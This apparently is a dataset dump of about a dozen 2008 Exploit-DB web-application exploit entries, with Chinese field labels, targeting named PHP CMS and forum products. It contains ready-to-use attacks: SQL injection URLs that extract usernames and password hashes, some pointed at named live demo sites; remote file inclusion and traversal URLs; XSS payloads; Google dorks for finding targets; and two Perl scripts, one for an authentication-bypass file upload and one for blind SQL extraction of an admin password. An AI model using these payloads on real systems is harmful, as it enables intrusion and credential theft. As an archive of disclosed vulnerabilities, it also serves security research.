QLWD/code_shield huggingface dataset:
标题: MiGCMS 2.0.5 - Multiple Remote File Inclusions EDB-ID: 5901 CVE: 2008-2888 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-22 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                         [ Remote File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : MiGCMS 2.0.5           ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  

http://localhost/path/lib/obj/collection.class.php?GLOBALS[application][app_root]=[SHELL]
http://localhost/path/lib/obj/content_image.class.php?GLOBALS[application][app_root]=[SHELL]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-06-22] URL: https://www.exploit-db.com/exploits/5901
标题: Joomla! Component EXP Shop - 'catid' SQL Injection EDB-ID: 5893 CVE: 2008-2892 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-22 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/         Joomla Component expshop Remote SQL injection         \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_expshop

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_expshop&page=show_payment&catid={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_expshop&page=show_payment&catid=-2 UNION SELECT @@version,@@version,concat(username,0x3a,password) FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://palcastle.org/cc

# milw0rm.com [2008-06-22] URL: https://www.exploit-db.com/exploits/5893
标题: jaxultrabb 2.0 - Local File Inclusion / Cross-Site Scripting EDB-ID: 5877 CVE: 2008-2966 2008-2965 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: ===============================================================
  JaxUltraBB <= 2.0 (LFI/XSS) Multiple Remote Vulnerabilities
===============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 20 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : JaxUltraBB
 VERSION     : <= 2.0
 DOWNLOAD    : http://downloads.sourceforge.net/jubb/
#####################################################

--- Local File Inclusion ---

-----------------------------------
 Vulnerable File [viewprofile.php]
-----------------------------------
@Line 8-9

   8: $userfile = file_get_contents("users/".$_GET['user'].".JaxSQL");
   9: $onlinefile = file_get_contents("users/".$_GET['user']."online.JaxSQL");

--------------
 POC Exploits
--------------

[+] http://192.168.24.25/jubb/viewprofile.php?user=../../../../../../../../boot.ini%00


    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


--- Remote XSS Exploit ---

---------------------------------
 Vulnerable File [viewforum.php]
---------------------------------

@Line 

  14: $forum = $_GET['forum'];

  15: online_moved("Viewing ".$_GET['forum']);

  17: $forumfile = fopen("topics/".$forum."topics.JaxSQL", "at");
  18: $topicsfile = file_get_contents("topics/".$forum."topics.JaxSQL", "at");
  19: echo "<br><br><br><table><td background='img/header1.jpg' width='1000' align='center'>$forum</td><tr><td bgColor='darkblue'>";

---------
 Exploit
---------

[+] http://[Target]/[jubb_path]/viewforum.php?forum=<XSS>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5877
标题: Online Fantasy Football League (OFFL) 0.2.6 - 'teams.php' SQL Injection EDB-ID: 5889 CVE: 2008-2890 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-21 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+      OFFL <= 0.2.6 Remote SQL Injection Vulnerability              +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 19 JUNE 2008
[*] Script Download: http://downloads.sourceforge.net/offl
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

 OFFL 0.2.6 and prior versions, suffer from multiple insecure mysql querys.
 
 SQL Injections below, there are various other spots which are injectable too...
 
 including " leagues.php?league_id=1' ", " players.php?player_id=190' "  



[*] SQL Injection:

For Admin: http://site.com/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/WHERE/**/admin=1/**/LIMIT/**/0,1/*
For Users: http://site.com/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/LIMIT/**/0,1/*



[*] NOTE/TIP: 

 admin area is at "admin.php" login using the normal login page first.
 passwords are encrypted in MD5

 no effcient dork, sql columns may vary on some sites.

[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

 ...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+      OFFL <= 0.2.6 Remote SQL Injection Vulnerability              +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-21] URL: https://www.exploit-db.com/exploits/5889
标题: LE.CMS 1.4 - Arbitrary File Upload EDB-ID: 5887 CVE: 2008-2833 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-21 漏洞利用脚本: #!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

print <<INTRO;
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
- LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit  -
-                                                     -
 -                                                   - 
  -        Discovered && Coded By: t0pP8uZz         -    
   -          Discovered On: 19 JUNE 2008          -
   -                                               -
  -     Script Download: http://worldlevel.com      -
 -   milw0rm.com, h4ck-y0u.org, CiperCrew, offsec    -
 -                                                   -
- LE.CMS suffers from a arbitrary file upload vuln..  -
- .. this exploit will upload any file to the server  -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
INTRO

print "\nEnter Target URL(ie: http://site.com): ";
    chomp(my $host=<STDIN>);
    
print "\nEnter Local File Path To Upload(ie: C:\\file.txt): ";
    chomp(my $file=<STDIN>);

my $ext   = substr $file, rindex $file, '.';
my $fname = int rand 9999;
my $ua    = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );

my $re = $ua->request(POST $host . '/cms/admin/upload.php',
                        Content_Type =>   'form-data',
                        Content      => [ 'submit0'  => 'authed', # if script reads this as TRUE then the script thinks we have already authenticated the username/password, only 0 or undef is false
                                          'submit'   => 1, 
                                          'password' => 1, # as long as this is true we should be able to upload
                                          'filename' => $fname,
                                          'upload'   => [ $file ] ] );

die "Exploit Failed, HTTP Request Failed!" unless $re->is_success;

print "File Uploaded! Location: " . $host . "/cms/images/" . $fname . $ext . "\n";
exit;

# milw0rm.com [2008-06-21] URL: https://www.exploit-db.com/exploits/5887
标题: SiteXS CMS 0.1.1 - Arbitrary File Upload / Cross-Site Scripting EDB-ID: 5880 CVE: 2008-2046 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-21 漏洞利用脚本: ===========================================================
  SiteXS CMS (Upload/XSS) Multiple Remote Vulnerabilities
===========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 21 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : SiteXS CMS
 VERSION     : 0.1.1
 DOWNLOAD    : http://downloads.sourceforge.net/sitexs
#####################################################

---Arbitrary File Upload Exploit---

 This Vulnerability can upload malicious files direct to web server.

[Login as user]

[+] Upload Path: http://[Target]/adm/?chid=4

[+] Shell Script: http://[Target]/download/[Evil File]


--- Remote XSS Exploit ---

-------------
 POC Exploit
-------------

[+] POST http://192.168.24.25/adm/ HTTP/1.0
[+] Accept: */*
[+] Content-Type: application/x-www-form-urlencoded
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.24.25
[+] Content-Length: 44
[+] Cookie: PHPSESSID=aa2ded55802cd2b6fe7c304258d858f5
[+]
[+] user=admin'<script>alert(123)</script>&pass=test

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-21] URL: https://www.exploit-db.com/exploits/5880
标题: phpAuction - 'profile.php' SQL Injection (1) EDB-ID: 5879 CVE: 2008-6663 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## PHPAuction ( profile.php user_id )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : PHPAuction
##
## site    : www.phpauctions.info
##
########################
########################
##
## D0rk1 : allinurl: "profile.php?user_id" auction_id
##
## D0rk2 : allinurl: "active_auctions.php" user_id
##
##     -(:: SQL ::)-
##
##    www.site.com/
##         profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://phpauctions.info/phpauction/demo/profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/*
##
##    http://phpauctions.info/phpauction/demo/viewfaqs.php?cat=null
#######################
#######################
 -(:: Note ::)-
This script not >> (( phpAuction GPL ))  (( password Md5 ))

#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5879
标题: PHP KnowledgeBase Script 2.4 - 'cat_id' SQL Injection EDB-ID: 5883 CVE: 2008-2972 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-21 漏洞利用脚本: #########################################################################
#################### PROUD TO BE MUSLIM ##############################
##
## Remote SQL Injection Vulnerability
##
## Knowledge Base Software Overview  ( index.php cat_id )
##
#########################################################################
#########################################################################
##
## AuTh0r : S.L TEAM     ( FA6@L 3RROR  --- H3B@R13H)
##
## H0ME   : WwW.MALAKSOFT.CoM 

########################
########################
##
## Script  : Knowledge Base Software Overview
##
## site    : www.kblance.com
##
########################
########################
 ## -(:: SQL ::)-

##    www.site.com/
##          index.php?main=comment&sub=index&view=&qid=3&cat_id=-3+union+select+1,concat_ws(0x3a3a,uname,pwd),3,4,5,6,7,8,9,10+from+user/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://www.kblance.com/demo/index.php?main=comment&sub=index&view=&qid=3&cat_id=-3+union+select+1,concat_ws(0x3a3a,uname,pwd),3,4,5,6,7,8,9,10+from+user/*
#######################################################################################################
#######################################################################################################
 
                                  -(:: !greetz! ::)-
 
 :: MR.SQL   :: BLACK CHEETAH :: GERMAYA-X ::  :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-21] URL: https://www.exploit-db.com/exploits/5883
标题: Jamroom 3.3.5 - Remote File Inclusion EDB-ID: 5876 CVE: 2008-2886 2008-2883 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : CMS Jamroom Version: 3.3.5
Discovered By   : Cyberlog
Scripts site    : http://www.jamroom.net/
Download Script : http://www.jamroom.net/index.php?m=td_download&o=download&file_id=43
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree
Special To      : k1n9k0ng, adhietslank, sukam, cah_gemblunkz, the_sims, aRiee
                  letjen, k1tk4t, inouf and jayoes
Site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug Script:
require_once("{$jamroom['jm_dir']}/include/jamroom-payment.inc.php");

Bug Found:
http://www.site.com/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell]

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5876
标题: Scientific Image DataBase 0.41 - Blind SQL Injection EDB-ID: 5885 CVE: 2008-2834 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-21 漏洞利用脚本: #!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;

# Download: http://sidb.sourceforge.net/
# Dork: "Scientific Image DataBase"
# This exploit retrives the admin username/password via blind mysql injection.


print <<INFO; # heredocs is ugly.. so is my INFO ;)
-------------------------------------
- Scientific Image DataBase <= 0.41 -
-    Blind SQL Injection Exploit    -
-                                   -
- Coded && Discovered By: t0pP8uZz  -
-    Discovered On: 19 JUNE 2008    -
-------------------------------------
-Greetz: muts, perlunderground, h-y -
-          cipher, milw0rm          -
-------------------------------------

INFO

print "Enter URL(ie: http://site.com): ";
    chomp(my $url=<STDIN>);

my ($substr, $done, $chr, $res) = (1, 1, 48, "");

my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );
$ua->post($url."/login.php", { 'logon' => 'true', 'user' => 'guest', 'pwd' => 'guest', 'submit' => 'Login' } );

while($done) {
    my $content = $ua->get($url."/projects.php?show=true&id=57%20and%20ascii(substring((select%20pwd%20from%20users%20where%20userid=1),".$substr.",1))=".$chr);
     
    if($content->content =~ /Not meant/ && length($res) == 32) { $done = 0; }
    elsif($content->content !~ /Not meant/) { $res .= chr($chr); $substr++; $chr = 48; }
    else { $chr++; }
}
print "Username: sysadmin  Password: ".$res."\n";
exit;

# milw0rm.com [2008-06-21] URL: https://www.exploit-db.com/exploits/5885
标题: CiBlog 3.1 - 'id' SQL Injection EDB-ID: 5875 CVE: 2008-2971 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## CiBlog 3.1 ( links-extern.php id )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : CiBlog  3.1
##
## site    : www.cistyle.de
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/
##         links-extern.php?id=-2+union+select+1,concat_ws(0x3a,user,password),1,1,1,1+from+user/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://www.cistyle.de/demo/links-extern.php?id=-2+union+select+1,concat_ws(0x3a,user,password),1,1,1,1+from+user/*
##
#######################
#######################


#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-

 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5875
标题: emuCMS 0.3 - 'cat_id' SQL Injection EDB-ID: 5878 CVE: 2008-2891 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: ################################################## #######################
#
# AUTHOR : TurkishWarriorr
#
# HOME : http://www.1923turk.org
#
################################################## #######################
Dork : Powered by emuCMS

exploit : index.php?page=category&cat_id=-9999+union+all+select+1,concat(user,char(58),passw ,char(58),email),3,null,null,null,7,8,9,10,11,null +from+users--

Test Sites

http://www.emusoft.org/index.php?page=category&cat_id=-9999+union+all+select+1,concat(user,char(58),passw ,char(58),email),3,null,null,null,7,8,9,10,11,null +from+users--
################################################## ########################
www.1923turk.org 
turkish-warriorr@hotmail.com

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5878
标题: Lightweight news portal (LNP) 1.0b - Multiple Vulnerabilities EDB-ID: 5873 CVE: 2008-7172 2008-7171 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-20 漏洞利用脚本: ____       _   _       _ ___   __                        _  __
 / ___| ___ | \ | |_   _| | \ \ / /__  _   _ _ __ ___  ___| |/ _| ___  _ __ __ _
| |  _ / _ \|  \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` |
| |_| | (_) | |\  | |_| | | | | | (_) | |_| | |  \__ \  __/ |  _| (_) | | | (_| |
 \____|\___/|_| \_|\__,_|_|_| |_|\___/ \__,_|_|  |___/\___|_|_|(_)___/|_|  \__, |
---------------------------------------------------------------------------|___/
Exploit found by sToRm


LNP: Lightweight news Portal v1.0-BETA
Multiple Remote Vulnerabilities


Cross-Site Scripting
--------------------

show_photo.php?photo="><script>javascript:alert(document.domain)</script>
show_potd.php?potd="><script>javascript:alert(document.domain)</script>


Insecure Administration
-----------------------

The admin page faces us with a login, but many important functions are allowed 
to be executed without a logged-in session.

admin.php?A=potd_delete
admin.php?A=potd
admin.php?A=vote_update
admin.php?A=vote
admin.php?A=modifynews


Permanent Code Injection
------------------------

admin.php?A=vote

"Current question" field allows for code injection, allowing us to force 
all users browsing the poll to view an XSS or browser exploit. 


File Upload
-----------

admin.php?A=potd

The "picture of the day" manager allows for further images to be 
uploaded, but does not check for image validity. Although a phpshell 
cannot be executed through this method, a source may be uploaded for 
inclusion in further attacks, possibly an LFI somewhere on the server. 

# milw0rm.com [2008-06-20] URL: https://www.exploit-db.com/exploits/5873